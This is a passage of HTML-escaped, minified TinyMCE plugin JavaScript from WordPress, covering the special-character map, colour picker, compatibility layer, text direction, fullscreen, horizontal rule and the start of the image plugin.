sign&quot;],[&quot;166&quot;,&quot;broken bar&quot;],[&quot;168&quot;,&quot;diaeresis&quot;],[&quot;161&quot;,&quot;inverted exclamation mark&quot;],[&quot;191&quot;,&quot;turned question mark&quot;],[&quot;710&quot;,&quot;circumflex accent&quot;],[&quot;732&quot;,&quot;small tilde&quot;],[&quot;176&quot;,&quot;degree sign&quot;],[&quot;8722&quot;,&quot;minus sign&quot;],[&quot;177&quot;,&quot;plus-minus sign&quot;],[&quot;247&quot;,&quot;division sign&quot;],[&quot;8260&quot;,&quot;fraction slash&quot;],[&quot;215&quot;,&quot;multiplication sign&quot;],[&quot;185&quot;,&quot;superscript one&quot;],[&quot;178&quot;,&quot;superscript two&quot;],[&quot;179&quot;,&quot;superscript three&quot;],[&quot;188&quot;,&quot;fraction one quarter&quot;],[&quot;189&quot;,&quot;fraction one half&quot;],[&quot;190&quot;,&quot;fraction three quarters&quot;],[&quot;402&quot;,&quot;function / florin&quot;],[&quot;8747&quot;,&quot;integral&quot;],[&quot;8721&quot;,&quot;n-ary sumation&quot;],[&quot;8734&quot;,&quot;infinity&quot;],[&quot;8730&quot;,&quot;square root&quot;],[&quot;8764&quot;,&quot;similar to&quot;],[&quot;8773&quot;,&quot;approximately equal to&quot;],[&quot;8776&quot;,&quot;almost equal to&quot;],[&quot;8800&quot;,&quot;not equal to&quot;],[&quot;8801&quot;,&quot;identical to&quot;],[&quot;8712&quot;,&quot;element of&quot;],[&quot;8713&quot;,&quot;not an element of&quot;],[&quot;8715&quot;,&quot;contains as member&quot;],[&quot;8719&quot;,&quot;n-ary product&quot;],[&quot;8743&quot;,&quot;logical and&quot;],[&quot;8744&quot;,&quot;logical or&quot;],[&quot;172&quot;,&quot;not sign&quot;],[&quot;8745&quot;,&quot;intersection&quot;],[&quot;8746&quot;,&quot;union&quot;],[&quot;8706&quot;,&quot;partial differential&quot;],[&quot;8704&quot;,&quot;for all&quot;],[&quot;8707&quot;,&quot;there exists&quot;],[&quot;8709&quot;,&quot;diameter&quot;],[&quot;8711&quot;,&quot;backward difference&quot;],[&quot;8727&quot;,&quot;asterisk operator&quot;],[&quot;8733&quot;,&quot;proportional to&quot;],[&quot;8736&quot;,&quot;angle&quot;],[&quot;180&quot;,&quot;acute accent&quot;],[&quot;184&quot;,&quot;cedilla&quot;],[&quot;170&quot;,&quot;feminine ordinal indicator&quot;],[&quot;186&quot;,&quot;masculine ordinal indicator&quot;],[&quot;8224&quot;,&quot;dagger&quot;],[&quot;8225&quot;,&quot;double dagger&quot;],[&quot;192&quot;,&quot;A - grave&quot;],[&quot;193&quot;,&quot;A - acute&quot;],[&quot;194&quot;,&quot;A - circumflex&quot;],[&quot;195&quot;,&quot;A - tilde&quot;],[&quot;196&quot;,&quot;A - diaeresis&quot;],[&quot;197&quot;,&quot;A - ring above&quot;],[&quot;256&quot;,&quot;A - macron&quot;],[&quot;198&quot;,&quot;ligature AE&quot;],[&quot;199&quot;,&quot;C - cedilla&quot;],[&quot;200&quot;,&quot;E - grave&quot;],[&quot;201&quot;,&quot;E - acute&quot;],[&quot;202&quot;,&quot;E - circumflex&quot;],[&quot;203&quot;,&quot;E - diaeresis&quot;],[&quot;274&quot;,&quot;E - macron&quot;],[&quot;204&quot;,&quot;I - grave&quot;],[&quot;205&quot;,&quot;I - acute&quot;],[&quot;206&quot;,&quot;I - circumflex&quot;],[&quot;207&quot;,&quot;I - diaeresis&quot;],[&quot;298&quot;,&quot;I - macron&quot;],[&quot;208&quot;,&quot;ETH&quot;],[&quot;209&quot;,&quot;N - tilde&quot;],[&quot;210&quot;,&quot;O - grave&quot;],[&quot;211&quot;,&quot;O - acute&quot;],[&quot;212&quot;,&quot;O - circumflex&quot;],[&quot;213&quot;,&quot;O - tilde&quot;],[&quot;214&quot;,&quot;O - diaeresis&quot;],[&quot;216&quot;,&quot;O - slash&quot;],[&quot;332&quot;,&quot;O - macron&quot;],[&quot;338&quot;,&quot;ligature OE&quot;],[&quot;352&quot;,&quot;S - caron&quot;],[&quot;217&quot;,&quot;U - grave&quot;],[&quot;218&quot;,&quot;U - acute&quot;],[&quot;219&quot;,&quot;U - circumflex&quot;],[&quot;220&quot;,&quot;U - diaeresis&quot;],[&quot;362&quot;,&quot;U - macron&quot;],[&quot;221&quot;,&quot;Y - acute&quot;],[&quot;376&quot;,&quot;Y - diaeresis&quot;],[&quot;562&quot;,&quot;Y - macron&quot;],[&quot;222&quot;,&quot;THORN&quot;],[&quot;224&quot;,&quot;a - grave&quot;],[&quot;225&quot;,&quot;a - acute&quot;],[&quot;226&quot;,&quot;a - circumflex&quot;],[&quot;227&quot;,&quot;a - tilde&quot;],[&quot;228&quot;,&quot;a - diaeresis&quot;],[&quot;229&quot;,&quot;a - ring above&quot;],[&quot;257&quot;,&quot;a - macron&quot;],[&quot;230&quot;,&quot;ligature ae&quot;],[&quot;231&quot;,&quot;c - cedilla&quot;],[&quot;232&quot;,&quot;e - grave&quot;],[&quot;233&quot;,&quot;e - acute&quot;],[&quot;234&quot;,&quot;e - circumflex&quot;],[&quot;235&quot;,&quot;e - diaeresis&quot;],[&quot;275&quot;,&quot;e - macron&quot;],[&quot;236&quot;,&quot;i - grave&quot;],[&quot;237&quot;,&quot;i - acute&quot;],[&quot;238&quot;,&quot;i - circumflex&quot;],[&quot;239&quot;,&quot;i - diaeresis&quot;],[&quot;299&quot;,&quot;i - macron&quot;],[&quot;240&quot;,&quot;eth&quot;],[&quot;241&quot;,&quot;n - tilde&quot;],[&quot;242&quot;,&quot;o - grave&quot;],[&quot;243&quot;,&quot;o - acute&quot;],[&quot;244&quot;,&quot;o - circumflex&quot;],[&quot;245&quot;,&quot;o - tilde&quot;],[&quot;246&quot;,&quot;o - diaeresis&quot;],[&quot;248&quot;,&quot;o slash&quot;],[&quot;333&quot;,&quot;o macron&quot;],[&quot;339&quot;,&quot;ligature oe&quot;],[&quot;353&quot;,&quot;s - caron&quot;],[&quot;249&quot;,&quot;u - grave&quot;],[&quot;250&quot;,&quot;u - acute&quot;],[&quot;251&quot;,&quot;u - circumflex&quot;],[&quot;252&quot;,&quot;u - diaeresis&quot;],[&quot;363&quot;,&quot;u - macron&quot;],[&quot;253&quot;,&quot;y - acute&quot;],[&quot;254&quot;,&quot;thorn&quot;],[&quot;255&quot;,&quot;y - diaeresis&quot;],[&quot;563&quot;,&quot;y - macron&quot;],[&quot;913&quot;,&quot;Alpha&quot;],[&quot;914&quot;,&quot;Beta&quot;],[&quot;915&quot;,&quot;Gamma&quot;],[&quot;916&quot;,&quot;Delta&quot;],[&quot;917&quot;,&quot;Epsilon&quot;],[&quot;918&quot;,&quot;Zeta&quot;],[&quot;919&quot;,&quot;Eta&quot;],[&quot;920&quot;,&quot;Theta&quot;],[&quot;921&quot;,&quot;Iota&quot;],[&quot;922&quot;,&quot;Kappa&quot;],[&quot;923&quot;,&quot;Lambda&quot;],[&quot;924&quot;,&quot;Mu&quot;],[&quot;925&quot;,&quot;Nu&quot;],[&quot;926&quot;,&quot;Xi&quot;],[&quot;927&quot;,&quot;Omicron&quot;],[&quot;928&quot;,&quot;Pi&quot;],[&quot;929&quot;,&quot;Rho&quot;],[&quot;931&quot;,&quot;Sigma&quot;],[&quot;932&quot;,&quot;Tau&quot;],[&quot;933&quot;,&quot;Upsilon&quot;],[&quot;934&quot;,&quot;Phi&quot;],[&quot;935&quot;,&quot;Chi&quot;],[&quot;936&quot;,&quot;Psi&quot;],[&quot;937&quot;,&quot;Omega&quot;],[&quot;945&quot;,&quot;alpha&quot;],[&quot;946&quot;,&quot;beta&quot;],[&quot;947&quot;,&quot;gamma&quot;],[&quot;948&quot;,&quot;delta&quot;],[&quot;949&quot;,&quot;epsilon&quot;],[&quot;950&quot;,&quot;zeta&quot;],[&quot;951&quot;,&quot;eta&quot;],[&quot;952&quot;,&quot;theta&quot;],[&quot;953&quot;,&quot;iota&quot;],[&quot;954&quot;,&quot;kappa&quot;],[&quot;955&quot;,&quot;lambda&quot;],[&quot;956&quot;,&quot;mu&quot;],[&quot;957&quot;,&quot;nu&quot;],[&quot;958&quot;,&quot;xi&quot;],[&quot;959&quot;,&quot;omicron&quot;],[&quot;960&quot;,&quot;pi&quot;],[&quot;961&quot;,&quot;rho&quot;],[&quot;962&quot;,&quot;final sigma&quot;],[&quot;963&quot;,&quot;sigma&quot;],[&quot;964&quot;,&quot;tau&quot;],[&quot;965&quot;,&quot;upsilon&quot;],[&quot;966&quot;,&quot;phi&quot;],[&quot;967&quot;,&quot;chi&quot;],[&quot;968&quot;,&quot;psi&quot;],[&quot;969&quot;,&quot;omega&quot;],[&quot;8501&quot;,&quot;alef symbol&quot;],[&quot;982&quot;,&quot;pi symbol&quot;],[&quot;8476&quot;,&quot;real part symbol&quot;],[&quot;978&quot;,&quot;upsilon - hook symbol&quot;],[&quot;8472&quot;,&quot;Weierstrass p&quot;],[&quot;8465&quot;,&quot;imaginary part&quot;],[&quot;8592&quot;,&quot;leftwards arrow&quot;],[&quot;8593&quot;,&quot;upwards arrow&quot;],[&quot;8594&quot;,&quot;rightwards arrow&quot;],[&quot;8595&quot;,&quot;downwards arrow&quot;],[&quot;8596&quot;,&quot;left right arrow&quot;],[&quot;8629&quot;,&quot;carriage return&quot;],[&quot;8656&quot;,&quot;leftwards double arrow&quot;],[&quot;8657&quot;,&quot;upwards double arrow&quot;],[&quot;8658&quot;,&quot;rightwards double arrow&quot;],[&quot;8659&quot;,&quot;downwards double arrow&quot;],[&quot;8660&quot;,&quot;left right double arrow&quot;],[&quot;8756&quot;,&quot;therefore&quot;],[&quot;8834&quot;,&quot;subset of&quot;],[&quot;8835&quot;,&quot;superset of&quot;],[&quot;8836&quot;,&quot;not a subset of&quot;],[&quot;8838&quot;,&quot;subset of or equal to&quot;],[&quot;8839&quot;,&quot;superset of or equal to&quot;],[&quot;8853&quot;,&quot;circled plus&quot;],[&quot;8855&quot;,&quot;circled times&quot;],[&quot;8869&quot;,&quot;perpendicular&quot;],[&quot;8901&quot;,&quot;dot operator&quot;],[&quot;8968&quot;,&quot;left ceiling&quot;],[&quot;8969&quot;,&quot;right ceiling&quot;],[&quot;8970&quot;,&quot;left floor&quot;],[&quot;8971&quot;,&quot;right floor&quot;],[&quot;9001&quot;,&quot;left-pointing angle bracket&quot;],[&quot;9002&quot;,&quot;right-pointing angle bracket&quot;],[&quot;9674&quot;,&quot;lozenge&quot;],[&quot;9824&quot;,&quot;black spade suit&quot;],[&quot;9827&quot;,&quot;black club suit&quot;],[&quot;9829&quot;,&quot;black heart suit&quot;],[&quot;9830&quot;,&quot;black diamond suit&quot;],[&quot;8194&quot;,&quot;en space&quot;],[&quot;8195&quot;,&quot;em space&quot;],[&quot;8201&quot;,&quot;thin space&quot;],[&quot;8204&quot;,&quot;zero width non-joiner&quot;],[&quot;8205&quot;,&quot;zero width joiner&quot;],[&quot;8206&quot;,&quot;left-to-right mark&quot;],[&quot;8207&quot;,&quot;right-to-left mark&quot;]])},t=function(t){return{getCharMap:function(){return s(t)},insertChar:function(e){l(t,e)}}},u=function(e){var t,a,i,r=Math.min(e.length,25),n=Math.ceil(e.length/r);for(t=&#039;&lt;table role=&quot;presentation&quot; cellspacing=&quot;0&quot; class=&quot;mce-charmap&quot;&gt;&lt;tbody&gt;&#039;,i=0;i&lt;n;i++){for(t+=&quot;&lt;tr&gt;&quot;,a=0;a&lt;r;a++){var o=i*r+a;if(o&lt;e.length){var l=e[o],c=parseInt(l[0],10),s=l?String.fromCharCode(c):&quot;&amp;nbsp;&quot;;t+=&#039;&lt;td title=&quot;&#039;+l[1]+&#039;&quot;&gt;&lt;div tabindex=&quot;-1&quot; title=&quot;&#039;+l[1]+&#039;&quot; role=&quot;button&quot; data-chr=&quot;&#039;+c+&#039;&quot;&gt;&#039;+s+&quot;&lt;/div&gt;&lt;/td&gt;&quot;}else t+=&quot;&lt;td /&gt;&quot;}t+=&quot;&lt;/tr&gt;&quot;}return t+=&quot;&lt;/tbody&gt;&lt;/table&gt;&quot;},d=function(e){for(;e;){if(&quot;TD&quot;===e.nodeName)return e;e=e.parentNode}},m=function(n){var o,e={type:&quot;container&quot;,html:u(s(n)),onclick:function(e){var t=e.target;if(/^(TD|DIV)$/.test(t.nodeName)){var a=d(t).firstChild;if(a&amp;&amp;a.hasAttribute(&quot;data-chr&quot;)){var i=a.getAttribute(&quot;data-chr&quot;),r=parseInt(i,10);isNaN(r)||l(n,String.fromCharCode(r)),e.ctrlKey||o.close()}}},onmouseover:function(e){var t=d(e.target);t&amp;&amp;t.firstChild?(o.find(&quot;#preview&quot;).text(t.firstChild.firstChild.data),o.find(&quot;#previewTitle&quot;).text(t.title)):(o.find(&quot;#preview&quot;).text(&quot; &quot;),o.find(&quot;#previewTitle&quot;).text(&quot; &quot;))}};o=n.windowManager.open({title:&quot;Special character&quot;,spacing:10,padding:10,items:[e,{type:&quot;container&quot;,layout:&quot;flex&quot;,direction:&quot;column&quot;,align:&quot;center&quot;,spacing:5,minWidth:160,minHeight:160,items:[{type:&quot;label&quot;,name:&quot;preview&quot;,text:&quot; &quot;,style:&quot;font-size: 40px; text-align: center&quot;,border:1,minWidth:140,minHeight:80},{type:&quot;spacer&quot;,minHeight:20},{type:&quot;label&quot;,name:&quot;previewTitle&quot;,text:&quot; &quot;,style:&quot;white-space: pre-wrap;&quot;,border:1,minWidth:140}]}],buttons:[{text:&quot;Close&quot;,onclick:function(){o.close()}}]})},g=function(e){e.addCommand(&quot;mceShowCharmap&quot;,function(){m(e)})},p=function(e){e.addButton(&quot;charmap&quot;,{icon:&quot;charmap&quot;,tooltip:&quot;Special character&quot;,cmd:&quot;mceShowCharmap&quot;}),e.addMenuItem(&quot;charmap&quot;,{icon:&quot;charmap&quot;,text:&quot;Special character&quot;,cmd:&quot;mceShowCharmap&quot;,context:&quot;insert&quot;})};e.add(&quot;charmap&quot;,function(e){return g(e),p(e),t(e)})}();
// Source: wp-includes/js/tinymce/plugins/colorpicker/plugin.min.js
!function(){&quot;use strict&quot;;var e=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),l=tinymce.util.Tools.resolve(&quot;tinymce.util.Color&quot;),a=function(e,n){e.find(&quot;#preview&quot;)[0].getEl().style.background=n},o=function(e,n){var i=l(n),t=i.toRgb();e.fromJSON({r:t.r,g:t.g,b:t.b,hex:i.toHex().substr(1)}),a(e,i.toHex())},t=function(e,n,i){var t=e.windowManager.open({title:&quot;Color&quot;,items:{type:&quot;container&quot;,layout:&quot;flex&quot;,direction:&quot;row&quot;,align:&quot;stretch&quot;,padding:5,spacing:10,items:[{type:&quot;colorpicker&quot;,value:i,onchange:function(){var e=this.rgb();t&amp;&amp;(t.find(&quot;#r&quot;).value(e.r),t.find(&quot;#g&quot;).value(e.g),t.find(&quot;#b&quot;).value(e.b),t.find(&quot;#hex&quot;).value(this.value().substr(1)),a(t,this.value()))}},{type:&quot;form&quot;,padding:0,labelGap:5,defaults:{type:&quot;textbox&quot;,size:7,value:&quot;0&quot;,flex:1,spellcheck:!1,onchange:function(){var e,n,i=t.find(&quot;colorpicker&quot;)[0];if(e=this.name(),n=this.value(),&quot;hex&quot;===e)return o(t,n=&quot;#&quot;+n),void i.value(n);n={r:t.find(&quot;#r&quot;).value(),g:t.find(&quot;#g&quot;).value(),b:t.find(&quot;#b&quot;).value()},i.value(n),o(t,n)}},items:[{name:&quot;r&quot;,label:&quot;R&quot;,autofocus:1},{name:&quot;g&quot;,label:&quot;G&quot;},{name:&quot;b&quot;,label:&quot;B&quot;},{name:&quot;hex&quot;,label:&quot;#&quot;,value:&quot;000000&quot;},{name:&quot;preview&quot;,type:&quot;container&quot;,border:1}]}]},onSubmit:function(){n(&quot;#&quot;+t.toJSON().hex)}});o(t,i)};e.add(&quot;colorpicker&quot;,function(i){i.settings.color_picker_callback||(i.settings.color_picker_callback=function(e,n){t(i,e,n)})})}();
// Source: wp-includes/js/tinymce/plugins/compat3x/plugin.min.js
!function(u){var t;function l(){}function f(e){!t&amp;&amp;window&amp;&amp;window.console&amp;&amp;(t=!0,console.log(&quot;Deprecated TinyMCE API call: &quot;+e))}function i(i,a,d,s){i=i||this;var c=[];a?(this.add=function(o,r,e){function t(e){var t=[];if(&quot;string&quot;==typeof d&amp;&amp;(d=d.split(&quot; &quot;)),d&amp;&amp;&quot;function&quot;!=typeof d)for(var n=0;n&lt;d.length;n++)t.push(e[d[n]]);(&quot;function&quot;!=typeof d||(t=d(a,e,i)))&amp;&amp;(d||(t=[e]),t.unshift(s||i),!1===o.apply(r||s||i,t)&amp;&amp;e.stopImmediatePropagation())}f(&quot;&lt;target&gt;.on&quot;+a+&quot;.add(..)&quot;),i.on(a,t,e);var n={original:o,patched:t};return c.push(n),t},this.addToTop=function(e,t){this.add(e,t,!0)},this.remove=function(n){return c.forEach(function(e,t){if(e.original===n)return c.splice(t,1),i.off(a,e.patched)}),i.off(a,n)},this.dispatch=function(){return i.fire(a),!0}):this.add=this.addToTop=this.remove=this.dispatch=l}function n(s){function e(e,t){u.each(e.split(&quot; &quot;),function(e){s[&quot;on&quot;+e]=new i(s,e,t)})}function n(e,t,n){return[t.level,n]}function o(n){return function(e,t){if(!t.selection&amp;&amp;!n||t.selection==n)return[t]}}if(!s.controlManager){s.controlManager={buttons:{},setDisabled:function(e,t){f(&quot;controlManager.setDisabled(..)&quot;),this.buttons[e]&amp;&amp;this.buttons[e].disabled(t)},setActive:function(e,t){f(&quot;controlManager.setActive(..)&quot;),this.buttons[e]&amp;&amp;this.buttons[e].active(t)},onAdd:new i,onPostRender:new i,add:function(e){return e},createButton:r,createColorSplitButton:r,createControl:r,createDropMenu:r,createListBox:r,createMenuButton:r,createSeparator:r,createSplitButton:r,createToolbar:r,createToolbarGroup:r,destroy:l,get:l,setControlType:r},e(&quot;PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate&quot;,&quot;editor&quot;),e(&quot;Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset&quot;),e(&quot;BeforeExecCommand ExecCommand&quot;,&quot;command ui value args&quot;),e(&quot;PreProcess PostProcess LoadContent SaveContent Change&quot;),e(&quot;BeforeSetContent BeforeGetContent SetContent GetContent&quot;,o(!1)),e(&quot;SetProgressState&quot;,&quot;state time&quot;),e(&quot;VisualAid&quot;,&quot;element hasVisual&quot;),e(&quot;Undo Redo&quot;,n),e(&quot;NodeChange&quot;,function(e,t){return[s.controlManager,t.element,s.selection.isCollapsed(),t]});var c=s.addButton;s.addButton=function(e,t){var n,o,r,i;function a(){if(s.controlManager.buttons[e]=this,n)return n.apply(this,arguments)}for(var d in t)&quot;onpostrender&quot;===d.toLowerCase()&amp;&amp;(n=t[d],t.onPostRender=a);return n||(t.onPostRender=a),t.title&amp;&amp;(t.title=(o=t.title,r=[s.settings.language||&quot;en&quot;,o].join(&quot;.&quot;),i=u.i18n.translate(r),r!==i?i:u.i18n.translate(o))),c.call(this,e,t)},s.on(&quot;init&quot;,function(){var e=s.undoManager,t=s.selection;e.onUndo=new i(s,&quot;Undo&quot;,n,null,e),e.onRedo=new i(s,&quot;Redo&quot;,n,null,e),e.onBeforeAdd=new i(s,&quot;BeforeAddUndo&quot;,null,e),e.onAdd=new i(s,&quot;AddUndo&quot;,null,e),t.onBeforeGetContent=new i(s,&quot;BeforeGetContent&quot;,o(!0),t),t.onGetContent=new i(s,&quot;GetContent&quot;,o(!0),t),t.onBeforeSetContent=new i(s,&quot;BeforeSetContent&quot;,o(!0),t),t.onSetContent=new i(s,&quot;SetContent&quot;,o(!0),t)}),s.on(&quot;BeforeRenderUI&quot;,function(){var e=s.windowManager;e.onOpen=new i,e.onClose=new i,e.createInstance=function(e,t,n,o,r,i){return f(&quot;windowManager.createInstance(..)&quot;),new(u.resolve(e))(t,n,o,r,i)}})}function r(){var t={};function n(){return r()}return f(&quot;editor.controlManager.*&quot;),u.each(&quot;add addMenu addSeparator collapse createMenu destroy displayColor expand focus getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex setActive setAriaProperty setColor setDisabled setSelected setState showMenu update&quot;.split(&quot; &quot;),function(e){t[e]=n}),t}}u.util.Dispatcher=i,u.onBeforeUnload=new i(u,&quot;BeforeUnload&quot;),u.onAddEditor=new i(u,&quot;AddEditor&quot;,&quot;editor&quot;),u.onRemoveEditor=new i(u,&quot;RemoveEditor&quot;,&quot;editor&quot;),u.util.Cookie={get:l,getHash:l,remove:l,set:l,setHash:l},u.on(&quot;SetupEditor&quot;,function(e){n(e.editor)}),u.PluginManager.add(&quot;compat3x&quot;,n),u.addI18n=function(n,e){var r=u.util.I18n,t=u.each;&quot;string&quot;!=typeof n||-1!==n.indexOf(&quot;.&quot;)?u.is(n,&quot;string&quot;)?t(e,function(e,t){r.data[n+&quot;.&quot;+t]=e}):t(n,function(e,o){t(e,function(e,n){t(e,function(e,t){&quot;common&quot;===n?r.data[o+&quot;.&quot;+t]=e:r.data[o+&quot;.&quot;+n+&quot;.&quot;+t]=e})})}):r.add(n,e)}}(tinymce);
// Source: wp-includes/js/tinymce/plugins/directionality/plugin.min.js
!function(){&quot;use strict&quot;;var t=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),c=tinymce.util.Tools.resolve(&quot;tinymce.util.Tools&quot;),e=function(t,e){var i,n=t.dom,o=t.selection.getSelectedBlocks();o.length&amp;&amp;(i=n.getAttrib(o[0],&quot;dir&quot;),c.each(o,function(t){n.getParent(t.parentNode,&#039;*[dir=&quot;&#039;+e+&#039;&quot;]&#039;,n.getRoot())||n.setAttrib(t,&quot;dir&quot;,i!==e?e:null)}),t.nodeChanged())},i=function(t){t.addCommand(&quot;mceDirectionLTR&quot;,function(){e(t,&quot;ltr&quot;)}),t.addCommand(&quot;mceDirectionRTL&quot;,function(){e(t,&quot;rtl&quot;)})},n=function(e){var i=[];return c.each(&quot;h1 h2 h3 h4 h5 h6 div p&quot;.split(&quot; &quot;),function(t){i.push(t+&quot;[dir=&quot;+e+&quot;]&quot;)}),i.join(&quot;,&quot;)},o=function(t){t.addButton(&quot;ltr&quot;,{title:&quot;Left to right&quot;,cmd:&quot;mceDirectionLTR&quot;,stateSelector:n(&quot;ltr&quot;)}),t.addButton(&quot;rtl&quot;,{title:&quot;Right to left&quot;,cmd:&quot;mceDirectionRTL&quot;,stateSelector:n(&quot;rtl&quot;)})};t.add(&quot;directionality&quot;,function(t){i(t),o(t)})}();
// Source: wp-includes/js/tinymce/plugins/fullscreen/plugin.min.js
!function(m){&quot;use strict&quot;;var i=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return i(t())}}},e=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),t=function(e){return{isFullscreen:function(){return null!==e.get()}}},n=tinymce.util.Tools.resolve(&quot;tinymce.dom.DOMUtils&quot;),g=function(e,n){e.fire(&quot;FullscreenStateChanged&quot;,{state:n})},w=n.DOM,r=function(e,n){var t,r,l,i,o,c,s=m.document.body,u=m.document.documentElement,d=n.get(),a=function(){var e,n,t,i;w.setStyle(l,&quot;height&quot;,(t=m.window,i=m.document.body,i.offsetWidth&amp;&amp;(e=i.offsetWidth,n=i.offsetHeight),t.innerWidth&amp;&amp;t.innerHeight&amp;&amp;(e=t.innerWidth,n=t.innerHeight),{w:e,h:n}).h-(r.clientHeight-l.clientHeight))},h=function(){w.unbind(m.window,&quot;resize&quot;,a)};if(t=(r=e.getContainer()).style,i=(l=e.getContentAreaContainer().firstChild).style,d)i.width=d.iframeWidth,i.height=d.iframeHeight,d.containerWidth&amp;&amp;(t.width=d.containerWidth),d.containerHeight&amp;&amp;(t.height=d.containerHeight),w.removeClass(s,&quot;mce-fullscreen&quot;),w.removeClass(u,&quot;mce-fullscreen&quot;),w.removeClass(r,&quot;mce-fullscreen&quot;),o=d.scrollPos,m.window.scrollTo(o.x,o.y),w.unbind(m.window,&quot;resize&quot;,d.resizeHandler),e.off(&quot;remove&quot;,d.removeHandler),n.set(null),g(e,!1);else{var f={scrollPos:(c=w.getViewPort(),{x:c.x,y:c.y}),containerWidth:t.width,containerHeight:t.height,iframeWidth:i.width,iframeHeight:i.height,resizeHandler:a,removeHandler:h};i.width=i.height=&quot;100%&quot;,t.width=t.height=&quot;&quot;,w.addClass(s,&quot;mce-fullscreen&quot;),w.addClass(u,&quot;mce-fullscreen&quot;),w.addClass(r,&quot;mce-fullscreen&quot;),w.bind(m.window,&quot;resize&quot;,a),e.on(&quot;remove&quot;,h),a(),n.set(f),g(e,!0)}},l=function(e,n){e.addCommand(&quot;mceFullScreen&quot;,function(){r(e,n)})},o=function(t){return function(e){var n=e.control;t.on(&quot;FullscreenStateChanged&quot;,function(e){n.active(e.state)})}},c=function(e){e.addMenuItem(&quot;fullscreen&quot;,{text:&quot;Fullscreen&quot;,shortcut:&quot;Ctrl+Shift+F&quot;,selectable:!0,cmd:&quot;mceFullScreen&quot;,onPostRender:o(e),context:&quot;view&quot;}),e.addButton(&quot;fullscreen&quot;,{active:!1,tooltip:&quot;Fullscreen&quot;,cmd:&quot;mceFullScreen&quot;,onPostRender:o(e)})};e.add(&quot;fullscreen&quot;,function(e){var n=i(null);return e.settings.inline||(l(e,n),c(e),e.addShortcut(&quot;Ctrl+Shift+F&quot;,&quot;&quot;,&quot;mceFullScreen&quot;)),t(n)})}(window);
// Source: wp-includes/js/tinymce/plugins/hr/plugin.min.js
!function(){&quot;use strict&quot;;var n=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),t=function(n){n.addCommand(&quot;InsertHorizontalRule&quot;,function(){n.execCommand(&quot;mceInsertContent&quot;,!1,&quot;&lt;hr /&gt;&quot;)})},o=function(n){n.addButton(&quot;hr&quot;,{icon:&quot;hr&quot;,tooltip:&quot;Horizontal line&quot;,cmd:&quot;InsertHorizontalRule&quot;}),n.addMenuItem(&quot;hr&quot;,{icon:&quot;hr&quot;,text:&quot;Horizontal line&quot;,cmd:&quot;InsertHorizontalRule&quot;,context:&quot;insert&quot;})};n.add(&quot;hr&quot;,function(n){t(n),o(n)})}();
// Source: wp-includes/js/tinymce/plugins/image/plugin.min.js
!function(l){&quot;use strict&quot;;var i,e=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),d=function(e){return!1!==e.settings.image_dimensions},u=function(e){return!0===e.settings.image_advtab},m=function(e){return e.getParam(&quot;image_prepend_url&quot;,&quot;&quot;)},n=function(e){return e.getParam(&quot;image_class_list&quot;)},r=function(e){return!1!==e.settings.image_description},a=function(e){return!0===e.settings.image_title},o=function(e){return!0===e.settings.image_caption},c=function(e){return e.getParam(&quot;image_list&quot;,!1)},s=function(e){return e.getParam(&quot;images_upload_url&quot;,!1)},g=function(e){return e.getParam(&quot;images_upload_handler&quot;,!1)},f=function(e){return e.getParam(&quot;images_upload_url&quot;)},p=function(e){return e.getParam(&quot;images_upload_handler&quot;)},h=function(e){return e.getParam(&quot;images_upload_base_path&quot;)},v=function(e){return e.getParam(&quot;images_upload_credentials&quot;)},b=&quot;undefined&quot;!=typeof l.window?l.window:Function(&quot;return this;&quot;)(),y=function(e,t){return function(e,t){for(var n=t!==undefined&amp;&amp;null!==t?t:b,r=0;r&lt;e.length&amp;&amp;n!==undefined&amp;&amp;null!==n;++r)n=n[e[r]];return n}(e.split(&quot;.&quot;),t)},x={getOrDie:function(e,t){var n=y(e,t);if(n===undefined||null===n)throw new Error(e+&quot; not available on this browser&quot;);return n}},w=tinymce.util.Tools.resolve(&quot;tinymce.util.Promise&quot;),C=tinymce.util.Tools.resolve(&quot;tinymce.util.Tools&quot;),S=tinymce.util.Tools.resolve(&quot;tinymce.util.XHR&quot;),N=function(e,t){return Math.max(parseInt(e,10),parseInt(t,10))},_=function(e,n){var r=l.document.createElement(&quot;img&quot;);function t(e,t){r.parentNode&amp;&amp;r.parentNode.removeChild(r),n({width:e,height:t})}r.onload=function(){t(N(r.width,r.clientWidth),N(r.height,r.clientHeight))},r.onerror=function(){t(0,0)};var a=r.style;a.visibility=&quot;hidden&quot;,a.position=&quot;fixed&quot;,a.bottom=a.left=&quot;0px&quot;,a.width=a.height=&quot;auto&quot;,l.document.body.appendChild(r),r.src=e},T=function(e,a,t){return function n(e,r){return r=r||[],C.each(e,function(e){var t={text:e.text||e.title};e.menu?t.menu=n(e.menu):(t.value=e.value,a(t)),r.push(t)}),r}(e,t||[])},A=function(e){return e&amp;&amp;(e=e.replace(/px$/,&quot;&quot;)),e},R=function(e){return 0&lt;e.length&amp;&amp;/^[0-9]+$/.test(e)&amp;&amp;(e+=&quot;px&quot;),e},I=function(e){if(e.margin){var t=e.margin.split(&quot; &quot;);switch(t.length){case 1:e[&quot;margin-top&quot;]=e[&quot;margin-top&quot;]||t[0],e[&quot;margin-right&quot;]=e[&quot;margin-right&quot;]||t[0],e[&quot;margin-bottom&quot;]=e[&quot;margin-bottom&quot;]||t[0],e[&quot;margin-left&quot;]=e[&quot;margin-left&quot;]||t[0];break;case 2:e[&quot;margin-top&quot;]=e[&quot;margin-top&quot;]||t[0],e[&quot;margin-right&quot;]=e[&quot;margin-right&quot;]||t[1],e[&quot;margin-bottom&quot;]=e[&quot;margin-bottom&quot;]||t[0],e[&quot;margin-left&quot;]=e[&quot;margin-left&quot;]||t[1];break;case 3:e[&quot;margin-top&quot;]=e[&quot;margin-top&quot;]||t[0],e[&quot;margin-right&quot;]=e[&quot;margin-right&quot;]||t[1],e[&quot;margin-bottom&quot;]=e[&quot;margin-bottom&quot;]||t[2],e[&quot;margin-left&quot;]=e[&quot;margin-left&quot;]||t[1];break;case 